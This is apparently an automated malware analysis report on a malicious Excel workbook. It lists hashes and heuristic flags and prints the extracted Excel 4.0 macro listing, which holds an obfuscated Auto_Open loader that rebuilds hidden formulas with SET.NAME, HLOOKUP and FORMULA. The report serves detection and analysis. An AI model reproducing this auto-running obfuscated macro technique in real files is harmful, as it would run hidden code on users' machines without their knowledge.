Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9acf62f65225eac7…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:26:45 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 7b7ef62f5686c596e937712a03170c25 SHA-1: 7a89321fb302bd6e254a04e81fd221b37ece6f44 SHA-256: 9acf62f65225eac7e167226a2ea88373e09142f251c9c986dc1912261b51c622
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6565 bytes
SHA-256: 93ec037020d532ff437676671785257d2fb902eb67935e4e1dfdc24704ddcf4c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uiztgse
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B194 
' 0018     22 LABEL : Cell Value, String Constant - aviLuif len=0 
' 0018     22 LABEL : Cell Value, String Constant - CCPoxhJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ciVJzvAGSQos len=0 
' 0018     24 LABEL : Cell Value, String Constant - CZFiwcooM len=0 
' 0018     24 LABEL : Cell Value, String Constant - EYJeBVKfx len=0 
' 0018     27 LABEL : Cell Value, String Constant - eyJGhEiayfki len=0 
' 0018     21 LABEL : Cell Value, String Constant - FKIpRf len=0 
' 0018     21 LABEL : Cell Value, String Constant - jiTKQw len=0 
' 0018     20 LABEL : Cell Value, String Constant - JNimG len=0 
' 0018     27 LABEL : Cell Value, String Constant - MUJzYhqSXOJQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - nHzraHD len=0 
' 0018     27 LABEL : Cell Value, String Constant - NYEfHnbTqHjI len=0 
' 0018     20 LABEL : Cell Value, String Constant - otmtV len=0 
' 0018     24 LABEL : Cell Value, String Constant - RGOiHaPEt len=0 
' 0018     21 LABEL : Cell Value, String Constant - sSTKUA len=0 
' 0018     27 LABEL : Cell Value, String Constant - TiBcDxQHyyIU len=0 
' 0018     25 LABEL : Cell Value, String Constant - UgOwqDUlaW len=0 
' 0018     22 LABEL : Cell Value, String Constant - vyknPsR len=0 
' 0018     20 LABEL : Cell Value, String Constant - yfYid len=0 
' 0018     20 LABEL : Cell Value, String Constant - YVKEA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uiztgse,B97,"SET.NAME("nHzraHD",VALUE("0"))",""
'  uiztgse,B102,"SET.NAME("MUJzYhqSXOJQ",nHzraHD)",""
'  uiztgse,B105,"SET.NAME("RGOiHaPEt",nHzraHD)",""
'  uiztgse,B110,"SET.NAME("aviLuif",COUNTA(yfYid))",""
'  uiztgse,B113,"SET.NAME("ciVJzvAGSQos",COUNTA(NYEfHnbTqHjI))",""
'  uiztgse,B117,[],""
'  uiztgse,B120,"SET.NAME("TiBcDxQHyyIU","")",""
'  uiztgse,B124,"MUJzYhqSXOJQ",""
'  uiztgse,B129,"SET.NAME("YVKEA",HLOOKUP("*",yfYid,MUJzYhqSXOJQ,FALSE))",""
'  uiztgse,B131,"JNimG",""
'  uiztgse,B133,"SET.NAME("sSTKUA",nHzraHD)",""
'  uiztgse,B135,[],""
'  uiztgse,B139,"sSTKUA",""
'  uiztgse,B144,"FKIpRf",""
'  uiztgse,B149,"otmtV",""
'  uiztgse,B151,"jiTKQw",""
'  uiztgse,B155,"SET.NAME("CCPoxhJ",VALUE(HLOOKUP("*",NYEfHnbTqHjI,jiTKQw,FALSE)))",""
'  uiztgse,B158,"UgOwqDUlaW",""
'  uiztgse,B160,"TiBcDxQHyyIU",""
'  uiztgse,B164,"RGOiHaPEt",""
'  uiztgse,B169,NEXT(),""
'  uiztgse,B173,"CZFiwcooM",""
'  uiztgse,B177,"SET.NAME("f",INT(T(FORMULA(T(TiBcDxQHyyIU)&"",""&T(CZFiwcooM)))))",""
'  uiztgse,B181,"EYJeBVKfx",""
'  uiztgse,B186,NEXT(),""
'  uiztgse,B191,RETURN(),""
'  uiztgse,B224,"SET.NAME("vyknPsR",B97)",""
'  uiztgse,B227,"yfYid",""
'  uiztgse,B230,"SET.NAME("NYEfHnbTqHjI",R50C12)",""
'  uiztgse,B235,"SET.NAME("EYJeBVKfx",242)",""
'  uiztgse,B239,"SET.NAME("eyJGhEiayfki",2)",""
'  uiztgse,B241,vyknPsR(),""
'  uiztgse,B242,HALT(),""

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